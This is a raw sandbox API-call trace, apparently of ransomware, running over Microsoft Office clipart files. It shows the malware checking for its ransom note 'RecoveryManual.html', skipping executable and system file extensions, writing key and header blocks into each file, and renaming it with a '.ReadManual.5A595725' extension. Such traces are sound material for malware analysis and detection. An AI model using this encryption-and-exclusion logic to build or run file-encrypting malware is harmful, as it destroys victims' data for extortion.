[0261.512] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=37974) returned 1 [0261.512] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9456, lpName=0x0) returned 0x184 [0261.512] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.512] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.513] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.556] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.556] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9456) returned 0x2f0000 [0261.603] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.603] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38227219084) returned 1 [0261.603] CloseHandle (hObject=0x184) returned 1 [0261.604] SetSecurityInfo () returned 0x57 [0261.604] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.604] CloseHandle (hObject=0x194) returned 1 [0261.605] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0261.605] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00297_.WMF" | out: lpString1="DD00297_.WMF") returned="DD00297_.WMF" [0261.605] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="RecoveryManual.html") returned -1 [0261.605] StrStrIW (lpFirst="DD00297_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.605] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.605] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.605] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.605] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.605] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.605] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.605] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.605] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.605] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.605] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.605] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.605] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.605] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.605] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.605] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" [0261.605] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.ReadManual.5A595725" [0261.605] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.ReadManual.5A595725") returned 87 [0261.605] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38227411048) returned 1 [0261.605] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x20 [0261.606] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.606] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=40030) returned 1 [0261.606] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9c5e, lpName=0x0) returned 0x184 [0261.606] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.606] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.606] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.649] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.649] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9c5e) returned 0x2f0000 [0261.696] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.697] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38236549369) returned 1 [0261.697] CloseHandle (hObject=0x184) returned 1 [0261.697] SetSecurityInfo () returned 0x57 [0261.697] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.697] CloseHandle (hObject=0x194) returned 1 [0261.698] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0261.698] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00372_.WMF" | out: lpString1="DD00372_.WMF") returned="DD00372_.WMF" [0261.698] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="RecoveryManual.html") returned -1 [0261.698] StrStrIW (lpFirst="DD00372_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.698] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.698] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.698] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.698] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.698] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.698] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.698] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.698] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.698] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.698] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.698] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.698] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.698] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.698] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.698] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" [0261.698] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.ReadManual.5A595725" [0261.698] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.ReadManual.5A595725") returned 87 [0261.698] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38236724838) returned 1 [0261.699] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x20 [0261.743] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.743] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=792) returned 1 [0261.743] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x318, lpName=0x0) returned 0x184 [0261.743] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.743] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.744] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.789] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.790] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x318) returned 0x2f0000 [0261.790] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.790] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38245862824) returned 1 [0261.790] CloseHandle (hObject=0x184) returned 1 [0261.790] SetSecurityInfo () returned 0x57 [0261.790] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.790] CloseHandle (hObject=0x194) returned 1 [0261.791] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0261.791] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00405_.WMF" | out: lpString1="DD00405_.WMF") returned="DD00405_.WMF" [0261.791] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="RecoveryManual.html") returned -1 [0261.791] StrStrIW (lpFirst="DD00405_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.791] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.791] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.791] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.791] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.791] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.791] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.791] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.791] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.791] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.791] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.791] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.791] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.791] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.791] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.791] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" [0261.791] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.ReadManual.5A595725" [0261.791] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.ReadManual.5A595725") returned 87 [0261.791] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38246020889) returned 1 [0261.791] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x20 [0261.792] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.792] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17584) returned 1 [0261.792] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44b0, lpName=0x0) returned 0x184 [0261.792] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.793] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.793] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.836] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.837] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x44b0) returned 0x2f0000 [0261.837] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.837] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38250560650) returned 1 [0261.837] CloseHandle (hObject=0x184) returned 1 [0261.837] SetSecurityInfo () returned 0x57 [0261.837] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.837] CloseHandle (hObject=0x194) returned 1 [0261.838] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0261.838] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00407_.WMF" | out: lpString1="DD00407_.WMF") returned="DD00407_.WMF" [0261.838] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="RecoveryManual.html") returned -1 [0261.838] StrStrIW (lpFirst="DD00407_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.838] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.838] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.838] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.838] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.838] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.838] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.838] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.838] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.838] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.838] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.838] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.838] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.838] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.838] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.838] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" [0261.839] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.ReadManual.5A595725" [0261.839] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.ReadManual.5A595725") returned 87 [0261.839] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38250736617) returned 1 [0261.839] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x20 [0261.839] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.839] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7828) returned 1 [0261.839] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e94, lpName=0x0) returned 0x184 [0261.839] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.840] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.840] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.883] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.883] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e94) returned 0x2f0000 [0261.884] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.884] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38255243077) returned 1 [0261.884] CloseHandle (hObject=0x184) returned 1 [0261.884] SetSecurityInfo () returned 0x57 [0261.884] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.884] CloseHandle (hObject=0x194) returned 1 [0261.885] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0261.885] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00413_.WMF" | out: lpString1="DD00413_.WMF") returned="DD00413_.WMF" [0261.885] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="RecoveryManual.html") returned -1 [0261.885] StrStrIW (lpFirst="DD00413_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.885] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.885] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.885] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.885] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.885] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.885] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.885] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.885] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.885] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.885] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.885] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.885] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.885] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.885] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.885] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" [0261.885] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.ReadManual.5A595725" [0261.886] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.ReadManual.5A595725") returned 87 [0261.886] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38255432980) returned 1 [0261.886] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x20 [0261.930] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.930] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=42992) returned 1 [0261.930] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa7f0, lpName=0x0) returned 0x184 [0261.930] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.931] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.931] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.977] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.977] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa7f0) returned 0x2f0000 [0262.024] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.024] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38269283668) returned 1 [0262.024] CloseHandle (hObject=0x184) returned 1 [0262.024] SetSecurityInfo () returned 0x57 [0262.024] LocalFree 